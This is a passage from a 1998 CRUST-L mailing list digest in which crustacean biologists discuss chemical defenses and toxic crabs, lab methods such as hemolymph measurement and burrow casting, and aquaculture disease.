paper had pteropods, and I have been told that these amphipods will carry on their backs a number of different things, so the chemical defense could be fortuitous. [Interjected comment by Oshel: this possibility was tested for by McClintock and Janssen. The Hyperiids are actively selecting Clione, not just grabbing anybody that comes along.] More recently, a friend of mine has demonstrated that the decorator crab, Libinia dubia, will selectively cover itself with a chemically defended brown seaweed, and that the chemical compound that deters feeding in fish is the one that stimulates decoration. That paper is in press in Ecology. Something similar could be happening with hermit crabs that gain added defense when their shells are covered by hydroids or with anemones, but again, the chemistry remains to be studied. As Philip Oshel notes, it is interesting to see that sequestration, which is so common in other arthropods, appears to be so rare in crustaceans. I wonder if anyone would care to comment on why that may be. Are the anatomical or metabolic adaptations that allow insects to sequester metabolites, missing from crustaceans? Intuitively I would say yes, but I would rather hear it from someone who knows. I doubt we know enough about crustacean physiology for some of the more exotic, non comercially important groups, but we know a fair deal about crustacean physiology for several of the larger species, as well as insects. Any ideas, any takers? Saludos, Edwin Cruz-Rivera Ph (919) 726-6841 Institute of Marine Sciences Fax (919) 726-2426 University of North Carolina, Chapel Hill email: ecruzriv@email.unc.edu 3431 Arendell Street Morehead City, NC 28557 P.J.F. Davie P.Davie@mailbox.uq.edu.au: In the review that Neil Bruce referred to we recorded 22 species of crabs in 5 families that had toxins in the flesh. Most are Xanthidae, but Portunidae, Grapsidae, Majidae, and Parthenopidae were also represented. Toxins identified include Saxitoxin, Paralytic Shellfish Poisons, Tetrodotoxin, and Palytoxin. Our belief is that all these types of toxin are taken in via the food chain - some seem to be reliably poisonous (such as at least some Demania species), while for most, toxicity varies according to place and probably season. In general we felt that most small coral reef crabs should be treated with suspicion. Grazers are presumably going to be the most likely to pick up toxins, but predators such as Thalamita (Portunidae) also had toxins, so in some cases amplification may occur. I haven't looked at the literature for a while but it seems there are no records of this phenomenon outside the Indo-West Pacific. With so many toxins involved, one would expect this process to be happening on Carribean reefs as well. Has anyone ever looked I wonder? Peter - ---------------------------------------------------- P.J.F. Davie Senior Curator, Crustacea Queensland Museum P.O. Box 3300 South Brisbane. QLD 4101 Australia Ph: 61.7.38407719 Fax: 61.7.38461226 Email: P.Davie@mailbox.uq.edu.au Curt Fiedler : > But is this, and similar reports, just happenstance? The crabs eat > poisonous plants, and so become poisonous, or are the crabs actually > *selecting* toxic plants to eat in order to acquire the toxics for their > own use as defensive chemicals? Actually, there's pretty good circumstantial evidence of this. I don't know if Birgus are eating to avoid predation, but on islands where this family of plants is common, natives will tie up Birgus or put them in a drum for several days to cleanse their systems. There is also a paper testing the toxicity of Birgus tissue fractions to mice, and the hepatopancreas of these crabs was quite poisonous. It wasn't clear which plant was involved. I looked into this literature to prepare a (unfunded) proposal examining the effect of rat poison or Birgus. I recall there was a Holthuis paper on toxic crustaceans too. I'll dig up the bibiography and post it. Rats often eat young crabs, and older crabs often eat rats. It seems that the plant alkaloids involved did not affect the crab much, but can have an effect on vertebrates. - -Curt Gregory Jensen : There are at least two species of amphipods in the Pacific Northwest that appear to utilize chemical defenses. Both are very boldly marked, sit right out in the open, and are rejected when offered to fish. When stressed they release a brownish liquid from the mouth, much like the "spit" from grasshoppers (which contains toxins sequestered from plants). A fish ecologist, Steve Norton, has done quite a bit of work on these amphipods but I don't know of any published information yet. Gregory C. Jensen University of Washington Gustav Paulay : For whatever it is worth, on the island of Mauke (Cook Islands), the spiny lobster Panulirus penicillatus is regarded as toxic by the locals on some parts of the reef, but not elsewhere. Gustav Paulay Marine Lab university of Guam Alistair G. B. Poore a.poore@unsw.edu.au: Among the herbivorous amphipods, many of which do consume algae rich in secondary metabolites, there are, to my knowledge, no published examples of chemical sequestration like that found in terrestrial insects or other marine herbivores such as sea hares. Neither have I heard of any examples of equestration from other chemically rich hosts such as sponges, soft corals or bryozoans. There is one system analogous to McClintock's in which an ampithoid (Pseudamphithoides incurvaria) carries around a small house made of an alga (Dictyota) unpalatable to fish. See Hay et al (1990) Host-plant specialization decreases predation on a marine amphipod: an herbivore in plant's clothing. Ecology 71: 733-743 for details. - -- Alistair G. B. Poore School of Biological Sciences University of New South Wales Sydney, 2052 Australia Phone: 61 2 9385 2080 Fax: 61 2 9385 1558 Email: a.poore@unsw.edu.au Jeffrey Shields : both enteries > >Thanks for posting an interesting discussion item. Few responses as yet, > >but I know that the remipedes have some toxins that are secreted from > >their mandibles. Saw a great poster at the TCS meeting in Mobile. Bruce Felgenhaur (sp?) presented the poster at TCS meeting. I think there is good circumstantial evidence that the remipedes have a toxin producing mandibular (?) organ. Don't know if the paper's been published yet. I think the poisonous crabs from the South Pacific obtain their toxin from eating algae, cf. ciguatera. Cheers, Jeff From: Martin Thiel : Phil, check out the papers by Mark Hay and his students.... there are some nice examples of amphipods using secondary toxins... best wishes, martin phil, i forgot. did somebody during the toxic-crust discussion mention the studies by TOMASCHKO on Pycnogonum littorale? if not, let me know and i'll dig out the references. greetings, martin ok, phil, here is probably the most easily accessible reference about these pycnogonids: Tomaschko, K.-H., 1994. Ecdysteroids from Pycgnogonum litorale (Arthropoda, Pantopoda) act as chemical defense against Carcinus maenas (Crustacea, Decapoda). J. chem. Ecol. 20: 1445-1455. martin Phil: Crabs of the genus Pelia seem to prefer sponges of certain species, but I never was able to identify them or have them identified. (Jerry Backus always is overloaded with work). Of the other decorators, they use just about any sponge of any taxon that is readily available. They don't seem able to scrape encrusting sponges off rocks, but any sponge that has vertical relief is fine with them. I have a Libinia and a Macrocoeloma in my aquarium right now that are busily redistributing a Haliclona sponge. Crabs of the family Dromiidae seem to prefer whatever sponge is the most common in their habitat, too. There are hermit crabs that live in sponges that overgrow their shells and form a covering for the crab. I've never seen any evidence of selection for toxicity, although it surely is an additional benefit of decorating or carrying a sponge. WICKSTEN@bio.tamu.edu: The work on toxic crabs appeared in systematic work on crabs of the family Xanthidae (John Garth's work) and in the journal Toxicon, a toxicological journal not on the usual reading list of crustacean biologist. Mary Wicksten }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #141 ***************************** From owner-crust-l Mon May 11 02:27:36 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id CAA07949 for crust-l-digest-outgoing; Mon, 11 May 1998 02:25:11 -0400 Date: Mon, 11 May 1998 02:25:11 -0400 Message-Id: <199805110625.CAA07949@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #142 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 16 crust-l-digest Monday, 11 May 1998 Volume 01 : Number 142 CRUST-L: hemolymph volume CRUST-L: Brine Shrimp Re: CRUST-L: Brine Shrimp Re: CRUST-L: Brine Shrimp CRUST-L: BURROWS Re: CRUST-L: BURROWS CRUST-L: Dye - intermolt stages CRUST-L: Cyclops- why one eye? CRUST-L: aquaculture and the web CRUST-L: crust primers [none] CRUST-L: Cyclops- why one eye? CRUST-L: Giant spider crabs Re: CRUST-L: BURROWS ---------------------------------------------------------------------- From: rjapajus@alpha2.curtin.edu.au (Japo Jussila) Date: Thu, 7 May 1998 15:45:58 +0800 (WST) Subject: CRUST-L: hemolymph volume MOI FELLOW CRUST-LISTERS, I am wrestling with western rock lobster hemocytes, mainly trying to figure out the changes in circulating hemocytes induced by various treatments, i.e. stressors. One of the questions I have to address is the change in hemolymph volume as it affects the numbers of the circulating hemocytes. The literature gives very confusing advice on methods that can be used to measure hemolymph volume. I wonder if anyone out there has useful suggestions on precise and idiotproof methods (=simple and easy) to measure the hemolymph volume in western rock lobsters. Thanks in advance and my best craywishes Dr Japo Jussila Aquatic Science Research Unit Curtin University Perth, Western Australia tel 61 (08) 9336 6081 phax 61 (08) 9336 6082 'Prefiero morir de pie que vivir siempre arrodillado' Che Guevara =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Debi Ingrao Date: Thu, 7 May 1998 15:54:06 -0700 (PDT) Subject: CRUST-L: Brine Shrimp Does any one know why and when the name "Sea Monkey" was used to refer to Brine Shrimp?? Ingrao Mote Marine Laboratory Phone: (941) 388-4441 EXT. 436 Benthic Ecology Program Fax: (941) 388-4312 1600 Thompson Parkway Sarasota, Fl 34236 e-mail: debi@marinelab.sarasota.fl.us See: http://www.marinelab.sarasota.fl.us We are an independent, nonprofit, marine and estuarine research and education facility. Opinions expressed here are NOT MML policy unless so indicated. Don't CLAM up! THINK SAFETY =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Thu, 7 May 1998 19:23:34 -0500 Subject: Re: CRUST-L: Brine Shrimp Marketing. The guy who thought of selling them to the public (I forget his name) needed a better name than "Artemia salina" or "brine shrimp" to sell them from the backs of comic books and the like. Phil >Does any one know why and when the name "Sea Monkey" was used to refer >to Brine Shrimp?? > >Ingrao >Mote Marine Laboratory }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Eric Guinther Date: Thu, 07 May 1998 15:26:06 -1000 Subject: Re: CRUST-L: Brine Shrimp At 03:54 PM 5/7/98 -0700, you wrote: > >Does any one know why and when the name "Sea Monkey" was used to refer >to Brine Shrimp?? It was a marketing effort to get little kids (like myself, then) to want to buy the cysts ("eggs") and hatch those "cute" little critters that behaved like little monkeys in a jar of water. I can picture the adds in the '60s and perhaps as far back as the '50s (?) Eric Guinther aecos@pixi.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: clawrence@fish.wa.gov.au Date: Fri, 8 May 1998 11:27:45 +0800 Subject: CRUST-L: BURROWS Hi everyone Has anyone had any experience describing the morphology of crayfish burrows? I am trying to work out the shape and depth of burrows and so far have only come up with cement, resin, latex and expanding foam, some have provided acceptable results, none are brilliant and all require a lot of digging!! Any suggestions or recommendations would be appreciated. Regards Craig <>< <>< <>< <>< <>< <>< <>< Craig Lawrence Research Scientist (Aquaculture) Fisheries Western Australia Fisheries Research Division WA Marine Research Laboratories Ph +61 9 246 8461 Fax +61 9 447 3062 Email clawrence@fish.wa.gov.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 8 May 1998 08:55:15 -0400 (EDT) Subject: Re: CRUST-L: BURROWS Craig, I've used fiberglass resin on Uca burrows with some success. The trick is to add less hardener and to let it cure overnight before digging. And yes, you have to dig, that's par for the course. John Christy uses paraffin with success but I think the burrows have to above the water level for this to work well. Cheers, Jeff On Fri, 8 May 1998 clawrence@fish.wa.gov.au wrote: > Hi everyone > > Has anyone had any experience describing the morphology of crayfish > burrows? I am trying to work out the shape and depth of burrows and so far > have only come up with cement, resin, latex and expanding foam, some have > provided acceptable results, none are brilliant and all require a lot of > digging!! > > Any suggestions or recommendations would be appreciated. > > Regards > > Craig > <>< <>< <>< <>< <>< <>< <>< > Craig Lawrence > Research Scientist (Aquaculture) > Fisheries Western Australia > Fisheries Research Division > WA Marine Research Laboratories > Ph +61 9 246 8461 Fax +61 9 447 3062 > Email clawrence@fish.wa.gov.au > > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Margarida Castro Date: Wed, 29 Aug 1990 15:59:51 +0200 Subject: CRUST-L: Dye - intermolt stages Dear collegues, I need to dye slices of Nephrops appendages (telsons) in order to look at the formation of the carapace (Nephrops = small red lobster related with Homarus) . The objective is to define the intermolt stages based on the development of the carapace. The pieces are mounted in historesin. Can anyone give advice on the best dye to use? Tank you all, Margarida Margarida Castro UCTRA Universidade do Algarve Gambelas 8000 Faro Portugal Tel: +351-89-800970 FAx: +351-89-818353 email: mcastro@ualg.pt =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Debi Ingrao Date: Fri, 8 May 1998 08:42:08 -0700 (PDT) Subject: CRUST-L: Cyclops- why one eye? Why do some Crustaceans have only one eye? debi Ingrao Mote Marine Laboratory Phone: (941) 388-4441 EXT. 436 Benthic Ecology Program Fax: (941) 388-4312 1600 Thompson Parkway Sarasota, Fl 34236 e-mail: debi@marinelab.sarasota.fl.us See: http://www.marinelab.sarasota.fl.us We are an independent, nonprofit, marine and estuarine research and education facility. Opinions expressed here are NOT MML policy unless so indicated. Don't CLAM up! THINK SAFETY =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: J F Le Bitoux Date: Fri, 08 May 1998 17:53:56 +0200 Subject: CRUST-L: aquaculture and the web Aquaculture, the aquatic living World Wide Web, the pathology logical ... and solutions A recent report about Biodiversity mentioned that « in fresh water and marine communities, information is currently completely absent ». Any aquaculture experience is a valuable source of information to help understand the microflora web evolution, normal and pathological : synthetic view is not easy. Biodiversity is a balance, stable or unstable, up to the time frame, in agreement with local environment - mineral and climate - , thus local biochemistry. Is modern marine aquaculture a sustainable activity ? Or does it affect the environment and destroy it ? To aquacultivate or not to aquacultivate ? That is the question ! Answers and solutions lie in a better understanding and true practical control of the interaction between culture and the microflora World Wide Web. The aquatic microflora is also a « natural » World Wild Web, capable of developing true « clean » bacterial wars to reduce « any organic load », dead or still alive, back to where it started from : the mineral world in a clean water environment accepting more biodiversity. It is not a science fiction film ! Shrimp culture, from easy time to disease Marine shrimp aquaculture production have grown rapidly and is still producing over 700.000 T all over the world and representing an impressive source of wealth in areas that have little alternative to offer. Since 1988, some national productions have dropped significantly, because of « disease ». In 1998, disease is still considered as a major threat by most of the actors, producers, bankers, politicians and ecologists that claim that land has been destroyed for no purpose. Be reinsured, ecologist friends, there is nothing easier to clean than a shrimp pond : anywhere in the world, any shrimp pond can be rehabilitated, put back in operation and profit, at low cost (if it was correctly conceived) . Disease can be prevented and production doubled, being at the same time, ecologically correct ! Disease are youth errors due to poor technology and ignorance and as it is often the case in R'n'D, to study pathological situation helps to understand how a healthy balanced situation works and how to maintain it. A complete book will be probably necessary to describe and explain the biochemical pathways that lead from health to pathology. Health and pathology use the same biochemical laws and pathogenicity is a normal fate for an efficient germ : disease signs the success of the microflora wild web in digesting organic overload and the failure of culturist technology in controlling the life of his ponds ! Aquaculture technology and the microflora Web The early shrimp farming years were a gold rush. Imre Csavas, FAO Regional Aquaculture Officer in Asia, observed in 1994, that « the largely empirical nature of shrimp culture development ». World aquaculture 1994 , 25(1), p.36. Shrimp grows well, without much care in various environmental conditions ; it demonstrates they are very hardy animals and dollars can be harvested every 3 to 5 months. No difficult technology is required : if the neighbour can do it, anybody can do it. Everywhere around the world, the easy early years face difficult follow up due to similar situations, because of « disease », that sound as excuse ! « A little learning is a dangerous thing » said the poet A. Pope. But disease is not middle age plague any more. Disease germ obeys to the same biochemical and biological laws that rule the shrimp environment. Through those laws, it is always possible to read what is occurring in a pond. There is a biological and biochemical logic in disease apparition and dis-apparition. Dis-ease in industrial husbandry is mainly due to opportunistic agents and build up, from the local microflora web. To monitor it is a precious tool to understand better, normal and pathological situation and how to shift it back to normal. True scientific and industrial solution of culture farming technology should include preventive measure against «crowding disease » to be complete. Shrimp aquaculture : a know how or a true technology ? What is an artisan extensive culture technology ? Basically, it consists in destroying predators, seeding with juveniles and in avoiding oxygen depletion through some water management. It is a true « know how » based on local personal experience and need little monitoring. To manage extensively an aquaculture pond is more an art than a technology, lacking of theoretical concept. Historically, agriculture operated in similar ways during centuries ! But it is very difficult to help an artist : he has an holistic view of his art and he does not need to monitor any parameters to produce. Co-operation between scientific and artist is difficult. Only industrial orientated producers will be able to inject better technology and to improve production. For a more industrial approach, as in the computer business, aquaculture technology requires hardware and software. Hardware is the engineering part and software should be specifically adapted to it and to the location. To copy a program without true understanding of scientific back ground, from a different place leads sometime to disappointing results. The software is made of a main program and subprograms representing specific procedures ; controls subprograms ensure that the operation is managed in a correct way. Pathology can be considered as an unwritten subprogram that takes the lead on the main program, mainly because of lack of real control of the environment. Vaccination is, in fish and higher vertebrate, an efficient sub program in culture technology, a way to avoid the impact of outside bugs. But in shrimp culture, vaccination is not possible and bug has its own life, it reproduces and often destroys host tissue. So the answer to pathology in aquaculture is to reprogram technology from day one, in order to « control » the normal microflora web. It represents clearly more complete understanding of various biochemical process and procedure than any extensive practice and it can be applied to many « ecological » situations, in open or closed ecosystem. Economical solutions are available today and can be adapted to any situations. The aquatic living World Wide Web : logical efficiency leading to pathogenicity The understanding of the disease evolution process supposes to recognise that in the aquatic world, germ life is a continuous challenge in adapting to new environment conditions. Any standing position is provisional : life is only a long chain of dis-balance links. Without inclining towards anthropocentrism, - nor any social comparison - the normal fate of any opportunistic germ is to become pathogen when condition allows it. Additional organic load in an aquatic ecosystem induces an immediate microbial response to digest it and to treat the waste. Biochemical load induces biological response from the microbial web. Thank to such efficiency, evolution and biodiversity have been made possible. But any dis-balance may induce dis-ease in some hosts, as normal part of evolution. Technology consists in being economically more efficient. Today disease situation in most of extensive shellfish culture are due to secondary invaders that have turn pathogen - bacteria, virus and anything in between - because of limited management procedures. In other words, disease of the shellfish are due to some pathology of management and/or ageing environment, which is the consequence of poor technology and management. It is not a chaotic world : biochemical laws may lead to pathology more often than to healthy products ! It is the evolution operating under our eyes, augmenting or reducing biodiversity ! As in any system, it is the dosage that makes the therapeutic or the poison : little pollution may be beneficial. Extensive aquaculture is similar to extensive agriculture. It is an Art which has its limit : pathology is one of them. And scientists are not professional artist. Books could be written - and probably will by some Internet participants - on culture technology, programming and disease prevention, but all the information is already available in various books covering exotic university knowledge such as water and soil physic, chemistry, biochemistry, bacteriology, immunology, and more specific sectors as engineering, industrial crowding disease, etc... The way to theoretical interpretation is a « long and winding road » but, as in many biotechnology, practical procedures are reliable and economical in a given program. Conclusion It was a shock to a lot of « scientific aquaculturists » that marine modern Aquaculture can be a threat to the environment and, as ecologist born, that they were on the wrong side : not at all ! Aquaculturists scientists are climbing on the shoulders on many colleagues from various origin from « true fundamental scientific world », in order to understand and better manage any ecosystem, natural, extensive or more intensive. To put such knowledge in practice is a different political story ! Nature has his way. Not to choose not to do anything IS a selected political choice with unknown consequences. NOT to do is « the temptation to remain innocent » - from a French political essay by P. Bruckner. It has social, ecological, thus political implication sometime deeper than action ! Microbial activity is regular biochemical answers to daily environmental fluctuations ; pathology is part of normal life of the aquatic World Wide Web, eventually « turning Wild » facing high organic load. In aquatic ecosystem, Health, Sustainability and Biodiversity are temporary balances, with faster turn over than out in the air. And trying to stabilise this fluctuating environment is probably a good reason to walk out of the water ! To cultivate or not to cultivate ? Is that still the question ? In an aquatic site, Nature has developed its « controls » to reach some level of productivity and biodiversity and technology pretends to do better, in a limited time frame, but may leave some « costly » residues behind. So the only immediate answer is : when the site can be disinfected, any culture is possible, whether in open water or in a closed system; if not, Nature have to take care of the left over, at its own speed, and it may include dis-ease pathways ! Is shrimp farming sustainable ? The easy obvious answer is : of course ! Very extensive farming will remain an art, managed by artist, receiving little from scientists. But it is not dangerous for the environment ! It does not need any pH meter. Semi intensive farming will act as any responsible industrial producer and will be ecologically correct : there is nothing easier to clean that water and technology is available ! 2000's fish and shellfish farming has already started to produce and is a complete closed system. This is not in order to please romantic ecologists but simply because it is safer and cheaper - the only key word that counts ! Cheaper because of higher survival, better growth rate, and soon permitting genetic selection. J. F. Le Bitoux Canet, France, 8/5/98 Doctor Veterinarian ; 25 years in shrimp culture =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 8 May 1998 08:50:04 -0400 (EDT) Subject: CRUST-L: crust primers Please respond to Alexandra Hiller and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Fri, 8 May 1998 04:33:51 -0400 From: owner-crust-l@back.vims.edu To: owner-crust-l@back.vims.edu From: alexandra hiller X-Mailer: Mozilla 3.01 (Win95; I) MIME-Version: 1.0 To: crust-l@vims.edu Subject: question on cytochrome b Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear sirs: I am trying to do some research on crustacean phylogeny using the cytochrome b gene sequence. I am still looking for the right primers. Do you have any suggestions? I would appreciate very much any information you could send me. Best wishes, Alexandra Hiller Justus-Liebig University Giessen, Germany =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 8 May 1998 08:51:00 -0400 (EDT) Subject: [none] Please respond to Wulf Kobusch and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Comments: Authenticated sender is From: "Wulf Kobusch" To: clawrence@fish.wa.gov.au Date: Fri, 8 May 1998 13:03:43 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: Quoted-printable Subject: Re: CRUST-L: BURROWS CC: CRUST-L@VIMS.EDU Priority: normal In-reply-to: <98May8.113542gmt+0800.53762@firewall.fish.wa.gov.au> X-mailer: Pegasus Mail for Win32 (v2.54) Dear Craig, I just remember that the article below also deals with burrows of crabs (Thalassinidea); I just have the title in my database and could not look it up, but I think they also used expanding foam (?) in order to get the shape and 3-D-reconstruction of the burrows. Hope this is of interest: ZIEBIS, S.; FORSTER, M.; HUETTEL, B.; J=D8RGENSEN, B. B. (1996): Complex burrows of the mud shrimp Callianassa trunctata and their geochemical impact in the sea bed. Nature 382 (15. August): 619-622. Best regards Wulf *************************************************** Wulf Kobusch Ruhr Universitaet Bochum Spezielle Zoologie, ND 05/776 Universitaetsstrasse 150 44801 Bochum, GERMANY phone: +49 (0)234-700-5577 fax: +49 (0)234-7094114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands.